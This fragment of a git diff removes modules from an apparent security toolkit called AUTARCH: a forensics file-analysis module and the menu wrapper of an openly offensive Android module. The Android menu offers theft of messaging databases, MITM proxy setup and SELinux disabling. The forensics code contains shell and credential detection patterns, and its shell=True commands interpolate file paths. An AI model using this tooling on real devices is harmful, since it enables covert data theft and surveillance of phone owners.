print(f"{Colors.RED}[X] Task failed{Colors.RESET}")
|
|
||||||
if result.error:
|
|
||||||
print(f"{Colors.RED}Error:{Colors.RESET} {result.error}")
|
|
||||||
if result.summary:
|
|
||||||
print(f"{Colors.WHITE}Summary:{Colors.RESET} {result.summary}")
|
|
||||||
|
|
||||||
print(f"\n{Colors.DIM}Steps taken: {len(result.steps)}{Colors.RESET}")
|
|
||||||
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
print(f"\n\n{Colors.YELLOW}[!] Interrupted{Colors.RESET}")
|
|
||||||
break
|
|
||||||
|
|
||||||
def run(self):
|
|
||||||
"""Module entry point."""
|
|
||||||
clear_screen()
|
|
||||||
display_banner()
|
|
||||||
|
|
||||||
print(f"{Colors.BOLD}{Colors.WHITE} AUTARCH Autonomous Agent{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
|
|
||||||
|
|
||||||
# Check if model is loaded
|
|
||||||
if not self.llm.is_loaded:
|
|
||||||
self.print_status("Loading model...", "info")
|
|
||||||
try:
|
|
||||||
self.llm.load_model(verbose=True)
|
|
||||||
except LLMError as e:
|
|
||||||
self.print_status(f"Failed to load model: {e}", "error")
|
|
||||||
self.print_status("Please run setup to configure a model.", "warning")
|
|
||||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
|
||||||
return
|
|
||||||
|
|
||||||
self.interactive_loop()
|
|
||||||
|
|
||||||
|
|
||||||
def run():
|
|
||||||
"""Module entry point."""
|
|
||||||
interface = AgentInterface()
|
|
||||||
interface.run()
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
run()
|
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -1,417 +0,0 @@
|
|||||||
"""
|
|
||||||
AUTARCH Analyze Module
|
|
||||||
Forensics and analysis tools
|
|
||||||
|
|
||||||
File analysis, hash generation, string extraction, and more.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
|
||||||
import sys
|
|
||||||
import subprocess
|
|
||||||
import hashlib
|
|
||||||
import re
|
|
||||||
try:
|
|
||||||
import magic
|
|
||||||
except ImportError:
|
|
||||||
magic = None
|
|
||||||
from pathlib import Path
|
|
||||||
from datetime import datetime
|
|
||||||
|
|
||||||
# Module metadata
|
|
||||||
DESCRIPTION = "Forensics & file analysis tools"
|
|
||||||
AUTHOR = "darkHal"
|
|
||||||
VERSION = "1.0"
|
|
||||||
CATEGORY = "analyze"
|
|
||||||
|
|
||||||
sys.path.insert(0, str(Path(__file__).parent.parent))
|
|
||||||
from core.banner import Colors, clear_screen, display_banner
|
|
||||||
|
|
||||||
|
|
||||||
class Analyzer:
|
|
||||||
"""Forensics and analysis tools."""
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
pass
|
|
||||||
|
|
||||||
def print_status(self, message: str, status: str = "info"):
|
|
||||||
colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
|
|
||||||
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
|
|
||||||
print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
|
|
||||||
|
|
||||||
def run_cmd(self, cmd: str) -> tuple:
|
|
||||||
try:
|
|
||||||
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60)
|
|
||||||
return result.returncode == 0, result.stdout.strip()
|
|
||||||
except:
|
|
||||||
return False, ""
|
|
||||||
|
|
||||||
def get_file_hashes(self, filepath: str) -> dict:
|
|
||||||
"""Calculate various hashes for a file."""
|
|
||||||
p = Path(filepath)
|
|
||||||
if not p.exists() or not p.is_file():
|
|
||||||
return {}
|
|
||||||
|
|
||||||
hashes = {}
|
|
||||||
with open(p, 'rb') as f:
|
|
||||||
content = f.read()
|
|
||||||
hashes['md5'] = hashlib.md5(content).hexdigest()
|
|
||||||
hashes['sha1'] = hashlib.sha1(content).hexdigest()
|
|
||||||
hashes['sha256'] = hashlib.sha256(content).hexdigest()
|
|
||||||
|
|
||||||
return hashes
|
|
||||||
|
|
||||||
def analyze_file(self):
|
|
||||||
"""Comprehensive file analysis."""
|
|
||||||
print(f"\n{Colors.BOLD}File Analysis{Colors.RESET}")
|
|
||||||
filepath = input(f"{Colors.WHITE}Enter file path: {Colors.RESET}").strip()
|
|
||||||
|
|
||||||
if not filepath:
|
|
||||||
return
|
|
||||||
|
|
||||||
p = Path(filepath).expanduser()
|
|
||||||
if not p.exists():
|
|
||||||
self.print_status(f"File not found: {filepath}", "error")
|
|
||||||
return
|
|
||||||
|
|
||||||
print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}")
|
|
||||||
print(f"{Colors.BOLD}File: {p.name}{Colors.RESET}")
|
|
||||||
print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n")
|
|
||||||
|
|
||||||
# Basic info
|
|
||||||
stat = p.stat()
|
|
||||||
print(f"{Colors.CYAN}Basic Info:{Colors.RESET}")
|
|
||||||
print(f" Path: {p.absolute()}")
|
|
||||||
print(f" Size: {stat.st_size:,} bytes")
|
|
||||||
print(f" Modified: {datetime.fromtimestamp(stat.st_mtime)}")
|
|
||||||
print(f" Created: {datetime.fromtimestamp(stat.st_ctime)}")
|
|
||||||
print(f" Mode: {oct(stat.st_mode)}")
|
|
||||||
|
|
||||||
# File type
|
|
||||||
print(f"\n{Colors.CYAN}File Type:{Colors.RESET}")
|
|
||||||
try:
|
|
||||||
file_magic = magic.Magic(mime=True)
|
|
||||||
mime_type = file_magic.from_file(str(p))
|
|
||||||
print(f" MIME: {mime_type}")
|
|
||||||
|
|
||||||
file_magic = magic.Magic()
|
|
||||||
file_desc = file_magic.from_file(str(p))
|
|
||||||
print(f" Type: {file_desc}")
|
|
||||||
except:
|
|
||||||
success, output = self.run_cmd(f"file '{p}'")
|
|
||||||
if success:
|
|
||||||
print(f" Type: {output.split(':', 1)[-1].strip()}")
|
|
||||||
|
|
||||||
# Hashes
|
|
||||||
print(f"\n{Colors.CYAN}Hashes:{Colors.RESET}")
|
|
||||||
hashes = self.get_file_hashes(str(p))
|
|
||||||
for algo, value in hashes.items():
|
|
||||||
print(f" {algo.upper():8} {value}")
|
|
||||||
|
|
||||||
# Check if executable
|
|
||||||
if p.suffix in ['.exe', '.dll', '.so', '.elf', ''] or stat.st_mode & 0o111:
|
|
||||||
self.analyze_executable(str(p))
|
|
||||||
|
|
||||||
def analyze_executable(self, filepath: str):
|
|
||||||
"""Additional analysis for executables."""
|
|
||||||
print(f"\n{Colors.CYAN}Executable Analysis:{Colors.RESET}")
|
|
||||||
|
|
||||||
# Strings
|
|
||||||
success, output = self.run_cmd(f"strings '{filepath}' 2>/dev/null | head -50")
|
|
||||||
if success and output:
|
|
||||||
# Look for interesting strings
|
|
||||||
interesting = []
|
|
||||||
patterns = [
|
|
||||||
r'https?://[^\s]+', # URLs
|
|
||||||
r'\d+\.\d+\.\d+\.\d+', # IPs
|
|
||||||
r'password|passwd|secret|key|token', # Credentials
|
|
||||||
r'/bin/sh|/bin/bash|cmd\.exe', # Shells
|
|
||||||
]
|
|
||||||
for line in output.split('\n'):
|
|
||||||
for pattern in patterns:
|
|
||||||
if re.search(pattern, line, re.I):
|
|
||||||
interesting.append(line.strip())
|
|
||||||
break
|
|
||||||
|
|
||||||
if interesting:
|
|
||||||
print(f" {Colors.YELLOW}Interesting strings found:{Colors.RESET}")
|
|
||||||
for s in interesting[:10]:
|
|
||||||
print(f" {s[:80]}")
|
|
||||||
|
|
||||||
# Check for packing
|
|
||||||
success, output = self.run_cmd(f"readelf -h '{filepath}' 2>/dev/null")
|
|
||||||
if success:
|
|
||||||
if 'Entry point' in output:
|
|
||||||
print(f" ELF executable detected")
|
|
||||||
|
|
||||||
def extract_strings(self):
|
|
||||||
"""Extract strings from file."""
|
|
||||||
print(f"\n{Colors.BOLD}String Extraction{Colors.RESET}")
|
|
||||||
filepath = input(f"{Colors.WHITE}Enter file path: {Colors.RESET}").strip()
|
|
||||||
|
|
||||||
if not filepath:
|
|
||||||
return
|
|
||||||
|
|
||||||
p = Path(filepath).expanduser()
|
|
||||||
if not p.exists():
|
|
||||||
self.print_status(f"File not found", "error")
|
|
||||||
return
|
|
||||||
|
|
||||||
min_len = input(f"{Colors.WHITE}Minimum string length [4]: {Colors.RESET}").strip() or "4"
|
|
||||||
|
|
||||||
print(f"\n{Colors.CYAN}Extracting strings...{Colors.RESET}\n")
|
|
||||||
|
|
||||||
success, output = self.run_cmd(f"strings -n {min_len} '{p}' 2>/dev/null")
|
|
||||||
if success:
|
|
||||||
lines = output.split('\n')
|
|
||||||
print(f"Found {len(lines)} strings\n")
|
|
||||||
|
|
||||||
# Categorize
|
|
||||||
urls = [l for l in lines if re.search(r'https?://', l)]
|
|
||||||
ips = [l for l in lines if re.search(r'\b\d+\.\d+\.\d+\.\d+\b', l)]
|
|
||||||
paths = [l for l in lines if re.search(r'^/[a-z]', l, re.I)]
|
|
||||||
emails = [l for l in lines if re.search(r'[\w.-]+@[\w.-]+', l)]
|
|
||||||
|
|
||||||
if urls:
|
|
||||||
print(f"{Colors.CYAN}URLs ({len(urls)}):{Colors.RESET}")
|
|
||||||
for u in urls[:10]:
|
|
||||||
print(f" {u}")
|
|
||||||
|
|
||||||
if ips:
|
|
||||||
print(f"\n{Colors.CYAN}IP Addresses ({len(ips)}):{Colors.RESET}")
|
|
||||||
for ip in ips[:10]:
|
|
||||||
print(f" {ip}")
|
|
||||||
|
|
||||||
if emails:
|
|
||||||
print(f"\n{Colors.CYAN}Emails ({len(emails)}):{Colors.RESET}")
|
|
||||||
for e in emails[:10]:
|
|
||||||
print(f" {e}")
|
|
||||||
|
|
||||||
if paths:
|
|
||||||
print(f"\n{Colors.CYAN}Paths ({len(paths)}):{Colors.RESET}")
|
|
||||||
for p in paths[:10]:
|
|
||||||
print(f" {p}")
|
|
||||||
|
|
||||||
# Save option
|
|
||||||
save = input(f"\n{Colors.WHITE}Save all strings to file? (y/n): {Colors.RESET}").strip().lower()
|
|
||||||
if save == 'y':
|
|
||||||
outfile = f"{p.stem}_strings.txt"
|
|
||||||
with open(outfile, 'w') as f:
|
|
||||||
f.write(output)
|
|
||||||
self.print_status(f"Saved to {outfile}", "success")
|
|
||||||
|
|
||||||
def hash_lookup(self):
|
|
||||||
"""Look up hash in threat intel."""
|
|
||||||
print(f"\n{Colors.BOLD}Hash Lookup{Colors.RESET}")
|
|
||||||
hash_input = input(f"{Colors.WHITE}Enter hash (MD5/SHA1/SHA256): {Colors.RESET}").strip()
|
|
||||||
|
|
||||||
if not hash_input:
|
|
||||||
return
|
|
||||||
|
|
||||||
# Determine hash type
|
|
||||||
hash_len = len(hash_input)
|
|
||||||
if hash_len == 32:
|
|
||||||
hash_type = "MD5"
|
|
||||||
elif hash_len == 40:
|
|
||||||
hash_type = "SHA1"
|
|
||||||
elif hash_len == 64:
|
|
||||||
hash_type = "SHA256"
|
|
||||||
else:
|
|
||||||
self.print_status("Invalid hash length", "error")
|
|
||||||
return
|
|
||||||
|
|
||||||
print(f"\n{Colors.CYAN}Hash Type: {hash_type}{Colors.RESET}")
|
|
||||||
print(f"{Colors.CYAN}Hash: {hash_input}{Colors.RESET}\n")
|
|
||||||
|
|
||||||
# VirusTotal URL
|
|
||||||
print(f"{Colors.DIM}VirusTotal: https://www.virustotal.com/gui/file/{hash_input}{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}Hybrid Analysis: https://www.hybrid-analysis.com/search?query={hash_input}{Colors.RESET}")
|
|
||||||
|
|
||||||
def analyze_log(self):
|
|
||||||
"""Analyze log files for anomalies."""
|
|
||||||
print(f"\n{Colors.BOLD}Log Analysis{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}Common logs: /var/log/auth.log, /var/log/syslog, /var/log/apache2/access.log{Colors.RESET}\n")
|
|
||||||
|
|
||||||
filepath = input(f"{Colors.WHITE}Enter log file path: {Colors.RESET}").strip()
|
|
||||||
if not filepath:
|
|
||||||
return
|
|
||||||
|
|
||||||
p = Path(filepath).expanduser()
|
|
||||||
if not p.exists():
|
|
||||||
self.print_status(f"File not found", "error")
|
|
||||||
return
|
|
||||||
|
|
||||||
print(f"\n{Colors.CYAN}Analyzing {p.name}...{Colors.RESET}\n")
|
|
||||||
|
|
||||||
# Read log
|
|
||||||
try:
|
|
||||||
with open(p, 'r', errors='ignore') as f:
|
|
||||||
lines = f.readlines()
|
|
||||||
except Exception as e:
|
|
||||||
self.print_status(f"Error reading file: {e}", "error")
|
|
||||||
return
|
|
||||||
|
|
||||||
print(f"Total lines: {len(lines)}")
|
|
||||||
|
|
||||||
# Extract IPs
|
|
||||||
all_ips = []
|
|
||||||
for line in lines:
|
|
||||||
ips = re.findall(r'\b(\d+\.\d+\.\d+\.\d+)\b', line)
|
|
||||||
all_ips.extend(ips)
|
|
||||||
|
|
||||||
if all_ips:
|
|
||||||
from collections import Counter
|
|
||||||
ip_counts = Counter(all_ips)
|
|
||||||
print(f"\n{Colors.CYAN}Top IP Addresses:{Colors.RESET}")
|
|
||||||
for ip, count in ip_counts.most_common(10):
|
|
||||||
print(f" {ip:20} {count:>6} occurrences")
|
|
||||||
|
|
||||||
# Look for error patterns
|
|
||||||
errors = [l for l in lines if re.search(r'error|fail|denied|invalid', l, re.I)]
|
|
||||||
if errors:
|
|
||||||
print(f"\n{Colors.YELLOW}Error/Failure entries: {len(errors)}{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}Recent errors:{Colors.RESET}")
|
|
||||||
for e in errors[-5:]:
|
|
||||||
print(f" {e.strip()[:100]}")
|
|
||||||
|
|
||||||
# Timestamps
|
|
||||||
timestamps = []
|
|
||||||
for line in lines:
|
|
||||||
match = re.search(r'(\w{3}\s+\d+\s+\d+:\d+:\d+)', line)
|
|
||||||
if match:
|
|
||||||
timestamps.append(match.group(1))
|
|
||||||
|
|
||||||
if timestamps:
|
|
||||||
print(f"\n{Colors.CYAN}Time Range:{Colors.RESET}")
|
|
||||||
print(f" First: {timestamps[0]}")
|
|
||||||
print(f" Last: {timestamps[-1]}")
|
|
||||||
|
|
||||||
def hex_dump(self):
|
|
||||||
"""Create hex dump of file."""
|
|
||||||
print(f"\n{Colors.BOLD}Hex Dump{Colors.RESET}")
|
|
||||||
filepath = input(f"{Colors.WHITE}Enter file path: {Colors.RESET}").strip()
|
|
||||||
|
|
||||||
if not filepath:
|
|
||||||
return
|
|
||||||
|
|
||||||
p = Path(filepath).expanduser()
|
|
||||||
if not p.exists():
|
|
||||||
self.print_status(f"File not found", "error")
|
|
||||||
return
|
|
||||||
|
|
||||||
offset = input(f"{Colors.WHITE}Start offset [0]: {Colors.RESET}").strip() or "0"
|
|
||||||
length = input(f"{Colors.WHITE}Length [256]: {Colors.RESET}").strip() or "256"
|
|
||||||
|
|
||||||
try:
|
|
||||||
offset = int(offset, 0) # Support hex input
|
|
||||||
length = int(length, 0)
|
|
||||||
except:
|
|
||||||
self.print_status("Invalid offset/length", "error")
|
|
||||||
return
|
|
||||||
|
|
||||||
print(f"\n{Colors.CYAN}Hex dump of {p.name} (offset={hex(offset)}, length={length}):{Colors.RESET}\n")
|
|
||||||
|
|
||||||
with open(p, 'rb') as f:
|
|
||||||
f.seek(offset)
|
|
||||||
data = f.read(length)
|
|
||||||
|
|
||||||
# Format hex dump
|
|
||||||
for i in range(0, len(data), 16):
|
|
||||||
chunk = data[i:i+16]
|
|
||||||
hex_part = ' '.join(f'{b:02x}' for b in chunk)
|
|
||||||
ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
|
|
||||||
print(f" {offset+i:08x} {hex_part:<48} {ascii_part}")
|
|
||||||
|
|
||||||
def compare_files(self):
|
|
||||||
"""Compare two files."""
|
|
||||||
print(f"\n{Colors.BOLD}File Comparison{Colors.RESET}")
|
|
||||||
|
|
||||||
file1 = input(f"{Colors.WHITE}First file: {Colors.RESET}").strip()
|
|
||||||
file2 = input(f"{Colors.WHITE}Second file: {Colors.RESET}").strip()
|
|
||||||
|
|
||||||
if not file1 or not file2:
|
|
||||||
return
|
|
||||||
|
|
||||||
p1 = Path(file1).expanduser()
|
|
||||||
p2 = Path(file2).expanduser()
|
|
||||||
|
|
||||||
if not p1.exists() or not p2.exists():
|
|
||||||
self.print_status("One or both files not found", "error")
|
|
||||||
return
|
|
||||||
|
|
||||||
print(f"\n{Colors.CYAN}Comparing files...{Colors.RESET}\n")
|
|
||||||
|
|
||||||
# Size comparison
|
|
||||||
s1, s2 = p1.stat().st_size, p2.stat().st_size
|
|
||||||
print(f"File 1 size: {s1:,} bytes")
|
|
||||||
print(f"File 2 size: {s2:,} bytes")
|
|
||||||
print(f"Difference: {abs(s1-s2):,} bytes")
|
|
||||||
|
|
||||||
# Hash comparison
|
|
||||||
h1 = self.get_file_hashes(str(p1))
|
|
||||||
h2 = self.get_file_hashes(str(p2))
|
|
||||||
|
|
||||||
print(f"\n{Colors.CYAN}Hash Comparison:{Colors.RESET}")
|
|
||||||
for algo in ['md5', 'sha256']:
|
|
||||||
match = h1.get(algo) == h2.get(algo)
|
|
||||||
status = f"{Colors.GREEN}MATCH{Colors.RESET}" if match else f"{Colors.RED}DIFFERENT{Colors.RESET}"
|
|
||||||
print(f" {algo.upper()}: {status}")
|
|
||||||
|
|
||||||
if h1.get('sha256') != h2.get('sha256'):
|
|
||||||
# Show diff if text files
|
|
||||||
success, output = self.run_cmd(f"diff '{p1}' '{p2}' 2>/dev/null | head -30")
|
|
||||||
if success and output:
|
|
||||||
print(f"\n{Colors.CYAN}Differences (first 30 lines):{Colors.RESET}")
|
|
||||||
print(output)
|
|
||||||
|
|
||||||
def show_menu(self):
|
|
||||||
clear_screen()
|
|
||||||
display_banner()
|
|
||||||
|
|
||||||
print(f"{Colors.CYAN}{Colors.BOLD} Analysis & Forensics{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM} File analysis and forensics tools{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
print(f" {Colors.CYAN}[1]{Colors.RESET} Analyze File")
|
|
||||||
print(f" {Colors.CYAN}[2]{Colors.RESET} Extract Strings")
|
|
||||||
print(f" {Colors.CYAN}[3]{Colors.RESET} Hash Lookup")
|
|
||||||
print(f" {Colors.CYAN}[4]{Colors.RESET} Analyze Log")
|
|
||||||
print(f" {Colors.CYAN}[5]{Colors.RESET} Hex Dump")
|
|
||||||
print(f" {Colors.CYAN}[6]{Colors.RESET} Compare Files")
|
|
||||||
print()
|
|
||||||
print(f" {Colors.DIM}[0]{Colors.RESET} Back")
|
|
||||||
print()
|
|
||||||
|
|
||||||
def run(self):
|
|
||||||
while True:
|
|
||||||
self.show_menu()
|
|
||||||
try:
|
|
||||||
choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip()
|
|
||||||
|
|
||||||
if choice == "0":
|
|
||||||
break
|
|
||||||
elif choice == "1":
|
|
||||||
self.analyze_file()
|
|
||||||
elif choice == "2":
|
|
||||||
self.extract_strings()
|
|
||||||
elif choice == "3":
|
|
||||||
self.hash_lookup()
|
|
||||||
elif choice == "4":
|
|
||||||
self.analyze_log()
|
|
||||||
elif choice == "5":
|
|
||||||
self.hex_dump()
|
|
||||||
elif choice == "6":
|
|
||||||
self.compare_files()
|
|
||||||
|
|
||||||
if choice in ["1", "2", "3", "4", "5", "6"]:
|
|
||||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
|
||||||
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
break
|
|
||||||
|
|
||||||
|
|
||||||
def run():
|
|
||||||
Analyzer().run()
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
run()
|
|
||||||
@@ -1,380 +0,0 @@
|
|||||||
"""
|
|
||||||
Android Advanced Exploits - Network, app manipulation, system control, data exfil
|
|
||||||
"""
|
|
||||||
|
|
||||||
DESCRIPTION = "Android advanced exploits (network, apps, system, data extraction)"
|
|
||||||
AUTHOR = "AUTARCH"
|
|
||||||
VERSION = "1.0"
|
|
||||||
CATEGORY = "offense"
|
|
||||||
|
|
||||||
import sys
|
|
||||||
from pathlib import Path
|
|
||||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
|
|
||||||
|
|
||||||
|
|
||||||
class AndroidAdvanced:
|
|
||||||
"""Interactive menu for advanced Android exploits."""
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
from core.android_exploit import get_exploit_manager
|
|
||||||
from core.hardware import get_hardware_manager
|
|
||||||
self.mgr = get_exploit_manager()
|
|
||||||
self.hw = get_hardware_manager()
|
|
||||||
self.serial = None
|
|
||||||
|
|
||||||
def _select_device(self):
|
|
||||||
devices = self.hw.adb_devices()
|
|
||||||
if not devices:
|
|
||||||
print(" No ADB devices connected.")
|
|
||||||
return
|
|
||||||
if len(devices) == 1:
|
|
||||||
self.serial = devices[0]['serial']
|
|
||||||
print(f" Selected: {self.serial}")
|
|
||||||
return
|
|
||||||
print("\n Select device:")
|
|
||||||
for i, d in enumerate(devices, 1):
|
|
||||||
print(f" {i}) {d['serial']} {d.get('model','')}")
|
|
||||||
try:
|
|
||||||
choice = int(input(" > ").strip())
|
|
||||||
if 1 <= choice <= len(devices):
|
|
||||||
self.serial = devices[choice - 1]['serial']
|
|
||||||
except (ValueError, EOFError, KeyboardInterrupt):
|
|
||||||
pass
|
|
||||||
|
|
||||||
def _ensure_device(self):
|
|
||||||
if not self.serial:
|
|
||||||
self._select_device()
|
|
||||||
return self.serial is not None
|
|
||||||
|
|
||||||
def show_menu(self):
|
|
||||||
print(f"\n{'='*60}")
|
|
||||||
print(" Advanced Android Exploits")
|
|
||||||
print(f"{'='*60}")
|
|
||||||
print(f" Device: {self.serial or '(none)'}")
|
|
||||||
print()
|
|
||||||
print(" ── Data Exfiltration ──")
|
|
||||||
print(" [1] Clipboard Content")
|
|
||||||
print(" [2] Notifications")
|
|
||||||
print(" [3] Location Data")
|
|
||||||
print(" [4] List Media Files")
|
|
||||||
print(" [5] Pull Media Folder")
|
|
||||||
print(" [6] WhatsApp DB [ROOT]")
|
|
||||||
print(" [7] Telegram DB [ROOT]")
|
|
||||||
print(" [8] Signal DB [ROOT]")
|
|
||||||
print(" [9] Dump Settings (all)")
|
|
||||||
print(" [10] Device Fingerprint")
|
|
||||||
print(" [11] Dump Any Database [ROOT]")
|
|
||||||
print()
|
|
||||||
print(" ── Network ──")
|
|
||||||
print(" [20] Network Info")
|
|
||||||
print(" [21] Set Proxy (MITM)")
|
|
||||||
print(" [22] Clear Proxy")
|
|
||||||
print(" [23] Set DNS [ROOT]")
|
|
||||||
print(" [24] WiFi Scan")
|
|
||||||
print(" [25] WiFi Connect")
|
|
||||||
print(" [26] WiFi On/Off")
|
|
||||||
print(" [27] Enable Hotspot")
|
|
||||||
print(" [28] Capture Traffic [ROOT]")
|
|
||||||
print(" [29] Port Forward")
|
|
||||||
print(" [30] ADB over WiFi")
|
|
||||||
print()
|
|
||||||
print(" ── App Manipulation ──")
|
|
||||||
print(" [40] Grant Permission")
|
|
||||||
print(" [41] Revoke Permission")
|
|
||||||
print(" [42] List App Permissions")
|
|
||||||
print(" [43] Disable App")
|
|
||||||
print(" [44] Enable App")
|
|
||||||
print(" [45] Clear App Data")
|
|
||||||
print(" [46] Force Stop App")
|
|
||||||
print(" [47] Launch App")
|
|
||||||
print(" [48] Launch Activity")
|
|
||||||
print(" [49] Send Broadcast")
|
|
||||||
print(" [50] Content Query")
|
|
||||||
print(" [51] Enable Overlay")
|
|
||||||
print()
|
|
||||||
print(" ── System ──")
|
|
||||||
print(" [60] SELinux Permissive [ROOT]")
|
|
||||||
print(" [61] Remount /system RW [ROOT]")
|
|
||||||
print(" [62] Logcat Sensitive Data")
|
|
||||||
print(" [63] Deploy Frida Server [ROOT]")
|
|
||||||
print(" [64] Running Processes")
|
|
||||||
print(" [65] Open Ports")
|
|
||||||
print(" [66] Modify Setting")
|
|
||||||
print()
|
|
||||||
print(" [s] Select Device")
|
|
||||||
print(" [0] Back")
|
|
||||||
print()
|
|
||||||
|
|
||||||
def _print_result(self, r):
|
|
||||||
import json
|
|
||||||
if isinstance(r, dict):
|
|
||||||
for k, v in r.items():
|
|
||||||
if isinstance(v, (list, dict)) and len(str(v)) > 200:
|
|
||||||
print(f" {k}: [{len(v)} items]" if isinstance(v, list) else f" {k}: [dict]")
|
|
||||||
else:
|
|
||||||
val = str(v)
|
|
||||||
if len(val) > 120:
|
|
||||||
val = val[:120] + '...'
|
|
||||||
print(f" {k}: {val}")
|
|
||||||
|
|
||||||
def run_interactive(self):
|
|
||||||
while True:
|
|
||||||
self.show_menu()
|
|
||||||
try:
|
|
||||||
choice = input(" Select > ").strip().lower()
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
break
|
|
||||||
if choice == '0':
|
|
||||||
break
|
|
||||||
elif choice == 's':
|
|
||||||
self._select_device()
|
|
||||||
continue
|
|
||||||
|
|
||||||
if not self._ensure_device():
|
|
||||||
continue
|
|
||||||
|
|
||||||
try:
|
|
||||||
self._dispatch(choice)
|
|
||||||
except (EOFError, KeyboardInterrupt):
|
|
||||||
continue
|
|
||||||
|
|
||||||
def _dispatch(self, choice):
|
|
||||||
s = self.serial
|
|
||||||
m = self.mgr
|
|
||||||
# Data Exfil
|
|
||||||
if choice == '1':
|
|
||||||
self._print_result(m.extract_clipboard(s))
|
|
||||||
elif choice == '2':
|
|
||||||
r = m.dump_notifications(s)
|
|
||||||
print(f" {r.get('count', 0)} notifications:")
|
|
||||||
for n in r.get('notifications', [])[:20]:
|
|
||||||
print(f" [{n.get('package','')}] {n.get('title','')} - {n.get('text','')}")
|
|
||||||
elif choice == '3':
|
|
||||||
self._print_result(m.extract_location(s))
|
|
||||||
elif choice == '4':
|
|
||||||
t = input(" Type (photos/downloads/screenshots/whatsapp_media): ").strip() or 'photos'
|
|
||||||
r = m.extract_media_list(s, media_type=t)
|
|
||||||
print(f" {r['count']} files in {r['path']}:")
|
|
||||||
for f in r['files'][:30]:
|
|
||||||
print(f" {f}")
|
|
||||||
elif choice == '5':
|
|
||||||
t = input(" Type (photos/downloads/screenshots): ").strip() or 'photos'
|
|
||||||
lim = input(" Limit [50]: ").strip()
|
|
||||||
r = m.pull_media_folder(s, media_type=t, limit=int(lim) if lim else 50)
|
|
||||||
print(f" Pulled {r['count']} files to {r.get('output_dir','')}")
|
|
||||||
elif choice == '6':
|
|
||||||
r = m.extract_whatsapp_db(s)
|
|
||||||
self._print_result(r)
|
|
||||||
elif choice == '7':
|
|
||||||
r = m.extract_telegram_db(s)
|
|
||||||
self._print_result(r)
|
|
||||||
elif choice == '8':
|
|
||||||
r = m.extract_signal_db(s)
|
|
||||||
self._print_result(r)
|
|
||||||
elif choice == '9':
|
|
||||||
r = m.dump_all_settings(s)
|
|
||||||
for ns, entries in r.get('settings', {}).items():
|
|
||||||
print(f"\n [{ns}] ({len(entries)} entries)")
|
|
||||||
for k, v in list(entries.items())[:10]:
|
|
||||||
print(f" {k}={v}")
|
|
||||||
if len(entries) > 10:
|
|
||||||
print(f" ... and {len(entries)-10} more")
|
|
||||||
elif choice == '10':
|
|
||||||
fp = m.get_device_fingerprint(s)
|
|
||||||
print("\n Device Fingerprint:")
|
|
||||||
for k, v in fp.items():
|
|
||||||
print(f" {k:<25} {v}")
|
|
||||||
elif choice == '11':
|
|
||||||
db_path = input(" Database path on device: ").strip()
|
|
||||||
table = input(" Table name (or Enter to list tables): ").strip() or None
|
|
||||||
r = m.dump_database(s, db_path, table=table)
|
|
||||||
if r['success']:
|
|
||||||
print(f" Tables: {', '.join(r['tables'])}")
|
|
||||||
if r['rows']:
|
|
||||||
for row in r['rows'][:10]:
|
|
||||||
print(f" {row}")
|
|
||||||
else:
|
|
||||||
print(f" Error: {r['error']}")
|
|
||||||
# Network
|
|
||||||
elif choice == '20':
|
|
||||||
info = m.get_network_info(s)
|
|
||||||
for k, v in info.items():
|
|
||||||
val = str(v)[:200]
|
|
||||||
print(f" {k}: {val}")
|
|
||||||
elif choice == '21':
|
|
||||||
host = input(" Proxy host: ").strip()
|
|
||||||
port = input(" Proxy port: ").strip()
|
|
||||||
if host and port:
|
|
||||||
r = m.set_proxy(s, host, port)
|
|
||||||
print(f" Proxy set: {r.get('proxy')}")
|
|
||||||
elif choice == '22':
|
|
||||||
m.clear_proxy(s)
|
|
||||||
print(" Proxy cleared.")
|
|
||||||
elif choice == '23':
|
|
||||||
dns1 = input(" DNS1: ").strip()
|
|
||||||
dns2 = input(" DNS2 (optional): ").strip()
|
|
||||||
if dns1:
|
|
||||||
m.set_dns(s, dns1, dns2)
|
|
||||||
print(f" DNS set: {dns1} {dns2}")
|
|
||||||
elif choice == '24':
|
|
||||||
r = m.wifi_scan(s)
|
|
||||||
print(r.get('output', 'No results'))
|
|
||||||
elif choice == '25':
|
|
||||||
ssid = input(" SSID: ").strip()
|
|
||||||
pwd = input(" Password (Enter for open): ").strip()
|
|
||||||
if ssid:
|
|
||||||
r = m.wifi_connect(s, ssid, pwd)
|
|
||||||
print(f" {r.get('output', 'Done')}")
|
|
||||||
elif choice == '26':
|
|
||||||
action = input(" Enable or disable? [e/d]: ").strip().lower()
|
|
||||||
if action == 'd':
|
|
||||||
m.wifi_disconnect(s)
|
|
||||||
print(" WiFi disabled.")
|
|
||||||
else:
|
|
||||||
m.wifi_enable(s)
|
|
||||||
print(" WiFi enabled.")
|
|
||||||
elif choice == '27':
|
|
||||||
